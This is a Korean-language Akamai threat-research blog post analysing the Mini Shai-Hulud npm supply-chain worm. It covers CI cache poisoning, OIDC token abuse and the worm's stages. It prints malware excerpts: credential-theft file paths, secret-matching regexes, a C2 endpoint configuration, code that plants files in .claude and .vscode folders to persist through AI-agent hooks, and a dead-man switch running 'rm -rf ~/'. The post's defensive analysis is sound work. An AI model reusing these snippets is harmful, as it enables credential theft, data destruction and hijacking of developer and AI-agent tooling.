Akamai, LayerX 인수로 모든 브라우저에서 AI 사용 제어 강화. 자세한 정보

Mini Shai-Hulud: 돌아온 웜 그리고 공개 배포

공유

Akamai Security Intelligence Group은 npm 생태계에 영향을 미치는 새로운 Shai-Hulud 공급망 공격 캠페인을 발견했습니다. 영향을 받은 Akamai Hunt 고객은 실행 가능한 세그멘테이션 및 방어 권장 사항과 함께 취약한 자산에 대한 상세 매핑을 이미 제공받았습니다.

핵심 내용

  • 2026년 5월 11일, Shai-Hulud 공급망 캠페인의 새로운 공격이 npm 생태계를 강타했습니다. 이 공격은 TanStack 의존성 트리를 통해 악성 패키지 버전을 유포했습니다.

  • 이 공격은 지속적 통합(CI) 캐시 포이즈닝 공격과 npm의 OpenID Connect(OIDC) 게시 엔드포인트를 악용해 정상적인 릴리스 프로세스를 탈취하는 방식으로 이루어졌습니다.

  • 이 캠페인은 TanStack을 넘어 Mistral AI, UiPath, OpenSearch 등의 다른 npm 패키지로도 빠르게 확산되었습니다.

  • 다음 날, 악성 Shai-Hulud 웜의 소스 코드를 호스팅하는 새로운 GitHub 리포지토리가 발견되었습니다.

  • 이 블로그 게시물에서는 새로 발견된 멀웨어를 분석하고, 이 공격이 이전 공격과 어떻게 다른지 살펴본 후, 관리자 및 기업의 방어 대책을 제시합니다.

2026년 5월 11일, TeamPCP는 shai-hulud 변종 형태의 새로운 페이로드를 내놓으며 지속적인 공급망 캠페인을 이어나갔습니다. 이 주제에 대한 이전 블로그 게시물에서는 랜섬웨어 그룹 Vect가 TeamPCP와의 파트너십을 발표했으며, 이는 자격 증명 탈취에서 대규모 갈취 및 랜섬웨어 공격으로의 전환을 암시한다고 언급한 바 있습니다.

새로운 캠페인은 그러한 변화가 이미 시작되었음을 보여주는 첫 번째 명확한 신호입니다.

Shai-Hulud 웜의 초창기 공격

Shai-Hulud는 2025년 9월에 처음 발견되었습니다. 그 핵심 원리는 매우 간단했습니다. npm 게시 토큰을 탈취한 후, 해당 토큰으로 접근 가능한 모든 패키지를 열거하고, 악성 코드를 주입한 후 다시 게시하는 것입니다.

Shai-Hulud는 등장 이후 그해 연말까지 활발히 활동했으며, 2025년 11월과 12월에 데이터 삭제 기능을 업데이트해 다시 등장했습니다. 

이 새로운 공격에는 CI 캐시 포이즈닝과 OIDC 악용이 포함됩니다.

이전의 모든 공격은 탈취된 인증정보에서 시작되었는데, 이 공격은 그렇지 않았습니다.

2026년 3월 Trivy 유출 사건과 이후 여러 공작을 주도한 공격자인 TeamPCP는 이 새로운 공격을 Mini Shai-Hulud라 명명하며 자신들이 배후에 있다고 주장했습니다.

새로운 공격 방식에서 공격자들은 TanStack의 GitHub Actions CI에서 pull 요청 워크플로 설정 오류를 악용했습니다. 포크의 pull 요청은 기본 리포지토리의 캐시에 대한 쓰기 권한을 가진 워크플로를 트리거했습니다. 공격자의 코드는 해당 캐시를 오염시키고 기다렸습니다. 

8시간 후, 정상적인 관리자의 병합 작업이 표준 릴리스 워크플로를 트리거했고,  이로 인해 오염된 캐시가 로드되어 공격자의 코드가 실행되었습니다.

자동화된 GitHub Actions 토큰 유출

공격자의 웜은 GitHub Actions 러너의 메모리에서 직접 토큰을 스크레이핑한 후, npm의 자체 토큰 교환 엔드포인트를 통해 해당 토큰을 npm 게시 권한으로 교환했습니다. npm 토큰은 “탈취”되지 않았으며, 게시 워크플로 자체도 감염되지 않은 것으로 보였습니다. 이로 인해 공격은 탐지되지 않았고, SLSA 증명 검증이 가능해졌습니다.

또 다른 중요한 변화는 이제 페이로드가 초기 접속 시 탈취한 토큰을 활용해 백그라운드 데몬을 생성한다는 점입니다. 토큰이 취소되면 데몬이 즉시 피해 대상의 전체 홈 디렉토리를 삭제합니다

개발자 애플리케이션에서 지속성을 확보하는 기법

멀웨어 지속성은 Claude Code 세션 후크와 VS Code 작업 자동화 기능까지 확장되었으며, 이 두 기능은 모두 “npm uninstall” 작업이 실행된 후에도 유지됩니다. 

웜 자체는 변하지 않았습니다. 유효한 자격 증명을 확보하면, 웜은 식별한 모든 패키지를 열거하고 해당 패키지에 자신을 주입하려고 시도합니다. 

캠페인 공개

2026년 5월 12일 저녁, 완전 무장된 웜 코드가 공개적으로 배포되었습니다. 이것이 TanStack을 공격한 멀웨어와 동일하다고 확신할 수는 없지만, 이제 누구나 악성 페이로드를 정식으로 사용할 수 있게 되었습니다.

2026년 5월 12일 저녁, 완전 무장된 웜 코드가 공개적으로 배포되었습니다. 삭제되기 전 GitHub 리포지토리 중 하나의 스니펫

멀웨어 분석: 메인 루프

웜의 메인 루프는 단계가 몇 개 되지 않아 크지는 않지만, 각 단계마다 세심한 주의를 기울였습니다. 여기에는 다음과 같은 단계가 포함됩니다.

  • 0단계 - 사전 검사

  • 1단계 - 단기적 성과

  • 2단계 - 명령 및 제어(C2) 통신

  • 3단계 - 플랫폼 인증정보 수집

  • 4단계 - 지속적인 확산

메인 루프는 다음과 같이 이루어집니다.

main()
      └── preflight()
      └── setupQuickResults()
      └── C2 / Dispatcher setup
             └── collector.ingest(...)    
      └── collector.run(providers)
      └── ReadmeUpdater / spread
      └── collector.finalize()   

0단계 - 사전 검사

이 멀웨어는 먼저 멀웨어가 opensearch-js 패키지의 맥락에서 실행되고 있는지 여부를 확인합니다. 그렇다면 해당 패키지에 백도어를 주입하고, OIDC 클라이언트를 트리거하며, 즉시 자격 증명을 탈취하고, SLSA 서명을 위조하려고 시도합니다.

다음으로, 멀웨어는 시스템 언어가 러시아어로 설정되어 있는지 확인합니다. 그렇다면 멀웨어는 종료됩니다.

그런 다음, 해당 인스턴스가 실행 중인 유일한 인스턴스인지 확인하고, CI/CD 환경 내에서 실행 중인지 검증하며, SIGINT 또는 SIGTERM을 통한 종료를 방지함으로써 사전 검사를 수행합니다.

1단계 - 단기적 성과

이 단계에서 멀웨어는 엔드포인트에서 가능한 한 많은 인증정보를 신속하게 수집하려고 시도합니다. 수집은 1,000개 이상의 알려진 인증정보 위치를 읽고, gh auth token 명령을 실행하려고 시도하며, 프로세스 환경 변수에서 process.env를 캡처해 인증정보를 탈취하는 방식으로 이루어집니다.

LINUX:[
…
    scramble("~/.ssh/known_hosts"),
    scramble("~/.terraform.d/credentials.tfrc.json"),
    scramble("/var/lib/docker/containers/*/config.v2.json"),
    scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
    scramble("~/.viminfo"),
    scramble("**/wp-config.php"),
    scramble("~/.yarnrc"),
    scramble("~/.zcash/wallet.dat"),
    scramble("~/.zsh_history"),
] 
WIN: [
    ".env",
    "config.ini",
    scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
    scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
    scramble("%PROGRAMDATA%\OpenVPN\config\*"),
    scramble("%APPDATA%\\ProtonVPN\\user.config"),
    scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
    scramble("%APPDATA%\\Private Internet Access\*.conf"),
    scramble("%APPDATA%\\Windscribe\\Windscribe\*"),
    scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
    scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
    scramble("%APPDATA\%\EarthVPN\\OpenVPN\\config\\*.ovpn"),
  ],
  OSX: [
    scramble("~/.ansible/*"),
    scramble("~/.aws/config"),
    scramble("~/.aws/credentials"),
    scramble("~/.azure/accessTokens.json"),
    scramble("~/.azure/msal_token_cache.*"),
    scramble("~/.bash_history"),
    scramble("~/.bitcoin/wallet.dat"),

2단계 - 명령 및 제어(C2) 통신

웜은 이후 메인 서버와 C2 통신을 설정합니다.

const dest: SenderDestination = {
      domain: scramble("git-tanstack.com"),
      port: 443,
      path: scramble("router"),
      dry_run: false,
};

웜은 메인 디스패처 기능을 활용해 전송 전에 탈취한 모든 데이터를 하드코딩된 RSA 공개 키로 암호화합니다. 이렇게 하면 공격자만 유출된 데이터를 읽을 수 있습니다. 또한 해당 코드에는 운영자가 해당 키를 교체할 것을 권고하는 내용도 담겨 있습니다.

멀웨어는 먼저 기본 C2 서버와의 연결을 시도합니다. 해당 통신이 차단되면, 공격자는 피해 대상의 계정으로 새로운 GitHub 리포지토리를 생성하고, 거기서 암호화된 데이터를 커밋하는 작업으로 다시 돌아갑니다. 그러면 공격자는 고유한 설명을 통해 해당 리포지토리를 GitHub에서 모니터링할 수 있습니다.

암호화된 데이터가 100KB에 도달하면 유출이 시작됩니다.

3단계 - 플랫폼 인증정보 수집

설치가 완료되면 멀웨어는 AWS, 쿠버네티스, GitHub 등의 다양한 플랫폼에서 더욱 공격적으로 인증정보를 수집하기 시작합니다.

예를 들어, 쿠버네티스 환경에서 웜은 정규 표현식을 활용해 다양한 위치와 비밀 정보를 반복적으로 탐색하려고 시도합니다.

constructor() {
super("kubernetes", "secrets", {
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
awskey:
…
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
secret:
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
});
}

private isInCluster(): boolean {
return !!process.env.KUBERNETES_SERVICE_HOST;
}

private async getCA(): Promise<Buffer | null> {
const caPath = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt";

AWS 관련 컬렉션에서 웜이 검색하는 위치 중 일부는 다음과 같습니다.

~/.aws/credentials

~/.aws/config

~/.azure/accessTokens.json

~/.azure/msal_token_cache.*

~/.config/gcloud/credentials.db

access_tokens.db

application_default_credentials.json

~/.terraform.d/credentials.tfrc.json

데이터 수집이 완료되면 멀웨어는 C2 채널을 통해 수집한 데이터를 전송하고, 다른 리포지토리로 계속 확산됩니다.

프레임워크와 무관한 주목할 만한 동작 중 하나는 이 멀웨어는 비트코인 지갑도 검색하며, 특히 ~/.bitcoin/wallet.dat 파일을 집중적으로 노린다는 점입니다.

4단계 - 지속적인 확산

웜은 추가적인 확산을 위해 찾아낸 모든 유효한 GitHub 토큰을 활용해 워크플로를 생성하고, 이를 통해 추가적인 비밀 정보를 탈취하며 감염 체인을 지속시킵니다.

워크플로 토큰이 없으면 웜은 발견된 모든 GitHub 브랜치를 반복적으로 탐색하며, 로더와 웜 바이너리 같은 악성 파일을 .claude, vscode와 같은 AI 에이전트 관련 폴더에 삽입해 확산됩니다.

const FILE_UPDATES: FileSourceMap = {
  ".vscode/tasks.json": task,
  [`.claude/${SCRIPT_NAME}`]: { sourcePath: Bun.main },
  ".claude/settings.json": claude_settings,
  ".claude/setup.mjs": config,
  ".vscode/setup.mjs": config,
};

웜이 NPM 토큰을 발견하면 NPMClient를 실행하고 멀웨어를 packages/opensearch_init.js 파일에 복사합니다. 

이 멀웨어는 유사한 OIDC 토큰 확산 체인을 사용합니다.

멀웨어 분석: 데드 맨 스위치

메인 루프 외에 멀웨어의 주요 기능 중 하나는 데드맨 스위치입니다. 멀웨어는 60초마다 토큰이 교체되었는지 확인합니다. 그러한 경우 웜은 해당 머신에서 파일을 삭제하려고 시도합니다.

logUtil.log("About to add monitor!");
await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));

여기서 다루지 않은 다른 여러 측면과 코드 계층이 존재하지만, 기존에 설명한 행동만으로도 공격자들의 정교함과 의도를 충분히 입증할 수 있다고 생각합니다.

탐지 및 방어

기업을 안전하게 보호하기 위해, 즉시 보안 전문가와 상담하고 다음과 같은 조치를 취하는 것이 좋습니다.

  • 감염된 패키지를 안전한 버전으로 다운그레이드

  • 네트워크 세그멘테이션을 통해 영향을 받은 호스트의 피해 범위 축소

미래 전망

이 캠페인은 TeamPCP의 지속적인 공작에서 또 다른 중대한 진전을 의미합니다. 이 그룹은 8개월 동안 체계적이고 기술적으로 정교한 인증정보 탈취 캠페인을 진행해 왔으며, 이 캠페인은 비밀 정보를 수집하고 개발자 워크플로를 악용하며 소프트웨어 공급망 환경에서 접속 권한을 확장하는 데 중점을 두었습니다.

이 최신 변종은 자동화와 인증정보 수집, 그리고 리포지토리, 패키지, 개발자 툴에 걸친 확산에 지속적으로 투자해 왔음을 보여줍니다. 이 캠페인은 TeamPCP가 Vect와의 파트너십을 발표한 직후에 시작되었습니다.

이제 웜이 공개되고 다른 운영자들도 툴체인을 사용할 수 있게 되면서, 이 문제는 더 이상 TeamPCP에만 국한되지 않게 되었습니다. 이제 다른 공격자들도 동일한 기술을 연구, 적용 및 재사용할 수 있게 되었습니다.

관심 유지

Akamai Security Intelligence Group은 고객과 보안 커뮤니티 전체를 위해 이와 같은 위협에 대한 모니터링, 보고, 방어를 계속할 것입니다. Akamai Security Intelligence Group의 최신 뉴스를 더 받으려면 리서치 홈페이지를 방문하고 소셜 미디어를 팔로우하세요.

태그

공유

관련 블로그 게시물

보안 리서치
CVE-2025-29635: D-Link 디바이스를 노리는 Mirai 캠페인
April 21, 2026
Akamai SIRT가 발견한 D-Link 명령어 삽입 취약점 CVE-2025-29635의 실제 악용 시도에 대해 알아보세요.
사이버 보안
CVE-2026-31979: Symlink 취약점 — Himmelblau의 루트 권한 상승
심각도 높은 취약점(CVE-2026-31979)이 Himmelblau의 특정 배포에 영향을 미칩니다. 즉각적인 조치가 권장됩니다.
사이버 보안
Akamai, 세계 최대 IoT 봇넷 차단 지원
미국 법무부는 최근 Akamai의 지원을 받아 여러 대형 고성능 DDoS 봇넷을 무력화하고, 관련 DDoS 공격 대행 서비스도 함께 중단시켰습니다.